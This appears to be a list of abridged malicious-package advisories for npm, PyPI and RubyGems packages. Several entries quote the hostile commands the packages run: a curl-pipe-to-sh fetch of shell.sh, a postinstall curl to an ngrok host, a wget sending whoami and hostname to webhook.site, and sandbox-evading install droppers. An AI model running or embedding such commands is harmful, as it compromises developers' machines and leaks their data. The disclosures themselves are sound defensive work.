Malicious code in is-it-ai (PyPI)

Source: kam193 6a8580750a7d490d65866e9407c451efa8dbad9a90c35a54b87416c57eef1fea In this campaign, specific versions of involved affected packages hide malicious actions. The malicious code is hidden in specific versions of a dependency is-it-ai, intentionally pinned by specific versions of...

Malicious code in siren-lament (npm)

Source: amazon-inspector 66198e889b19f908f338ab5cad00c57bc95194bff8938dcf26c4a853c0b260d8 The package contains two files and declares no lifecycle scripts, remote fetches, credential reads, or network exfiltration paths. Version coordinate 0.0.0-stage and minimal file count are consistent with a...

Malicious code in black-spindle (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3dd746168a2e733a835005f5fd321e1bab9a24688a4c5d413247ae065ea29786 [email protected] declares a postinstall lifecycle hook in package.json that executes curl http://778e-181-63-25-28.ngrok-free.app/test on every...

Malicious code in kecack (RubyGems)

Source: amazon-inspector f17f86c78cebe16698b84a8ab5a9b87865c63a890588c23fbe1d2638c4501647 The gem's native extension build script ext/.../extconf.rb executes during gem install and contains a dropper rather than a real native build. Before createmakefile, it enumerates environment indicators to...

MAL-2026-17590 Malicious code in coinmarket-utils (RubyGems)

RubyGems runs this gem's native extension script ext/coinmarket-utils/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

Malicious code in internallib_v497 (npm)

Source: amazon-inspector 37d367008a98c6bac6f9018de18ff5a75917cad3031c6bca1e7d4e5e257d3505 npm package [email protected] ships an index.js that exports a function which shell-executes curl http://10.0.5.109/shell.sh | sh via childprocess.exec'/bin/bash -c...', fetching an unauthenticated scrip...

Malicious code in wurl_show_data (RubyGems)

--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis 17d2e80b42383fadbe9bde12ef17decad8b9dfa9b48f93b6e7f9162091e2a69d The OpenSSF Package Analysis project identified 'wurlshowdata' @ 3.1.42.99 rubygems as malicious. It is considered malicious because: - The...

Malicious code in lightweight-charts-4.1 (npm)

Source: amazon-inspector 1f7a7bcf5678b42c2da20ad8e444066092ac3a9c17a6c8867a034717d1d8c344 The package lightweight-charts-4.1 was found to contain malicious code. Source: ossf-package-analysis 3bf5f9054bf59235c7406b076fed3f65c71c616f5c6f9a044b320f1376d793e8 The OpenSSF Package Analysis project...

Malicious code in libxmlussr1 (npm)

Source: amazon-inspector 53a26137f4b62749b9f491cb82c0c0f9d95f0fa03f7dcd2e8067b39b5de0e005 The package libxmlussr1 was found to contain malicious code. Source: ossf-package-analysis 08f90af0e1186fb0b75f135e5764cce07fe11f3d68115fe4195d556e7b0171da The OpenSSF Package Analysis project identified...

Malicious code in libxmljs2qwerty (npm)

Source: amazon-inspector 98e288816b28da06174dcb7d9315fb857fc7daf80f81a57de2fbe1b0a3419895 The package libxmljs2qwerty was found to contain malicious code. Source: ossf-package-analysis 2d91988ba951c71566b9b39a2279ab047bd3e9233e58720bf517d55bd2170fee The OpenSSF Package Analysis project identified...

Malicious code in libxmljsololo2 (npm)

Source: amazon-inspector ddf08b4bf0c122f751f82c3c5b909759570d84e47e5059bde5729221ae910a15 The package libxmljsololo2 was found to contain malicious code. Source: ossf-package-analysis e4990f2ad9b80a96f05d335d0d8f89fbe25f5b84b3f3d4c1c9f02b1dea179710 The OpenSSF Package Analysis project identified...

Malicious code in lib-jitsi-meet-sample (npm)

Source: ossf-package-analysis 0247e3f2877ee9dba4689c00ae13db004afaea694957dfb979bf3cfbd1ef9e31 The OpenSSF Package Analysis project identified 'lib-jitsi-meet-sample' @ 1.0.0 npm as malicious. It is considered malicious because: - The package executes one or more commands associated with maliciou...

Malicious code in kss-node-handlebars-builder (npm)

Source: ossf-package-analysis cca63cd37e035f2a065952377f5c8b77ac950f443c2ac3233ead4b6203f62d9c The OpenSSF Package Analysis project identified 'kss-node-handlebars-builder' @ 9.0.1 npm as malicious. It is considered malicious because: - The package communicates with a domain associated with...

Malicious code in knowpro (npm)

Source: ossf-package-analysis 4050d9edab117029be58467368808cdb539f5d3b4dee8741011d5186c7c74766 The OpenSSF Package Analysis project identified 'knowpro' @ 99.0.9 npm as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - Th...

Malicious code in kkkaremn (npm)

Source: amazon-inspector 8be05818c3e6f94f41c611af1a16f1a88489f457de3d8b98cc9c4441eee9e557 The package kkkaremn was found to contain malicious code. Source: ossf-package-analysis 38d12856c4db0126dfe51c098b1f21420abc032d85ddf07e3df4a6e4cb997b17 The OpenSSF Package Analysis project identified...

Malicious code in bender-rspack-config (npm)

Source: ossf-package-analysis 159730c04aeb50c0e832685be81c3f332d8692bf4a9f1a419c7223dbe5059491 The OpenSSF Package Analysis project identified 'bender-rspack-config' @ 1.0.0 npm as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious...

MAL-2026-16221 Malicious code in bender-rspack-config (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3a6997cea54ae81d1addcb41ddac29e94923dfa1042265253c555cb4945ad5b4 package.json declares a preinstall lifecycle script that runs wget against a hardcoded webhook.site URL, embedding $whoami, $pwd, and $hostname as...

Malicious code in jitsi-meet-load-test (npm)

Source: ossf-package-analysis 4d8d6095bca0d534688b13d2823e401a9d42de4a2fc1fdc8c9bd1be3b147b746 The OpenSSF Package Analysis project identified 'jitsi-meet-load-test' @ 1.0.0 npm as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious...

Malicious code in jenkins-trigger-action (npm)

The package communicates with a domain associated with malicious activity. Source: ossf-package-analysis fedbad1242e09329c414a95c493ce62c39c15cad4472ef5fc4a8b9b836834fb4 The OpenSSF Package Analysis project identified 'jenkins-trigger-action' @ 10.0.1 npm as malicious. It is considered malicious...

Malicious code in isotopet4s-layout (npm)

The package communicates with a domain associated with malicious activity. Source: ossf-package-analysis 89341dbe7c72a6b4924313c2697d976b5570b3c9056de1b6ebf35ad41337387d The OpenSSF Package Analysis project identified 'isotopet4s-layout' @ 99.99.1 npm as malicious. It is considered malicious...